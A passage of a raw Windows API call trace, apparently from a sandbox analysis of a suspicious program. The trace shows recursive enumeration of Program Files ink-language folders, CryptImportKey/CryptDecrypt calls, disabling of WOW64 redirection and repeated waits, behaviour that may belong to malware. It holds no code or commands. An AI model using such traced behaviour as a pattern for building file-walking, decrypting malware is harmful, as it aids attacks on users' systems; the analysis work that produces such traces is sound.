nFileSizeLow=0x612e00, dwReserved0=0x0, dwReserved1=0x82, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0163.781] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x82, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0163.781] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe3805ad4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe3805ad4, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x106a00, dwReserved0=0x0, dwReserved1=0x82, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0163.781] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0163.781] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d14d0 [0163.781] FindNextFileW (in: hFindFile=0x1d14d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.781] FindNextFileW (in: hFindFile=0x1d14d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.781] FindNextFileW (in: hFindFile=0x1d14d0, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.781] FindClose (in: hFindFile=0x1d14d0 | out: hFindFile=0x1d14d0) returned 1 [0163.781] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.782] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0163.782] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1810 [0163.782] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.782] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.782] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.782] FindClose (in: hFindFile=0x1d1810 | out: hFindFile=0x1d1810) returned 1 [0163.782] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.782] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0163.782] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1590 [0163.782] FindNextFileW (in: hFindFile=0x1d1590, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.783] FindNextFileW (in: hFindFile=0x1d1590, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.783] FindNextFileW (in: hFindFile=0x1d1590, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.783] FindClose (in: hFindFile=0x1d1590 | out: hFindFile=0x1d1590) returned 1 [0163.783] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.783] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0163.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1550 [0163.783] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.783] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.783] FindNextFileW (in: hFindFile=0x1d1550, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.783] FindClose (in: hFindFile=0x1d1550 | out: hFindFile=0x1d1550) returned 1 [0163.784] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.784] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0163.784] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1490 [0163.784] FindNextFileW (in: hFindFile=0x1d1490, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.784] FindNextFileW (in: hFindFile=0x1d1490, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.784] FindNextFileW (in: hFindFile=0x1d1490, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.784] FindClose (in: hFindFile=0x1d1490 | out: hFindFile=0x1d1490) returned 1 [0163.784] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.784] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0163.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1910 [0163.785] FindNextFileW (in: hFindFile=0x1d1910, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.785] FindNextFileW (in: hFindFile=0x1d1910, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.785] FindNextFileW (in: hFindFile=0x1d1910, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.785] FindClose (in: hFindFile=0x1d1910 | out: hFindFile=0x1d1910) returned 1 [0163.785] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3330060 | out: hHeap=0x6f0000) returned 1 [0163.785] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x82, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0163.785] FindNextFileW (in: hFindFile=0x1b9348, lpFindFileData=0x299eb98 | out: lpFindFileData=0x299eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x82, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0163.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1510 [0163.786] FindNextFileW (in: hFindFile=0x1d1510, lpFindFileData=0x299e914 | out: lpFindFileData=0x299e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 Thread: id = 114 os_tid = 0x63c [0162.097] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x2a10080 [0162.097] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x10000) returned 0x2a20088 [0162.099] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x28) returned 0x6f4f38 [0162.099] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x110102) returned 0x2faa020 [0162.104] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x50) returned 0x6f4f68 [0162.104] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf938, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf9a0 | out: phKey=0x2bdf9a0*=0x1b9288) returned 1 [0162.104] CryptSetKeyParam (hKey=0x1b9288, dwParam=0x1, pbData=0x2bdf988, dwFlags=0x0) returned 1 [0162.104] CryptDecrypt (in: hKey=0x1b9288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4f68, pdwDataLen=0x2bdf954 | out: pbData=0x6f4f68, pdwDataLen=0x2bdf954) returned 1 [0162.104] CryptDestroyKey (hKey=0x1b9288) returned 1 [0162.104] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0162.105] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c06b30 [0162.105] Wow64DisableWow64FsRedirection (in: OldValue=0x2bdf9ec | out: OldValue=0x2bdf9ec*=0x0) returned 1 [0162.105] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4f68 | out: hHeap=0x6f0000) returned 1 [0162.105] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.105] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.105] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.105] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.106] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.106] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.106] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.106] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.106] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.106] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.106] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.106] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.107] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.107] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.107] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.107] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.107] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.107] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.107] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.108] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.108] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.108] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.108] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.108] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.108] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.109] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.109] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.109] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.109] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.109] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.109] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.109] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.109] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.110] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xffffffff) returned 0x0 [0162.110] 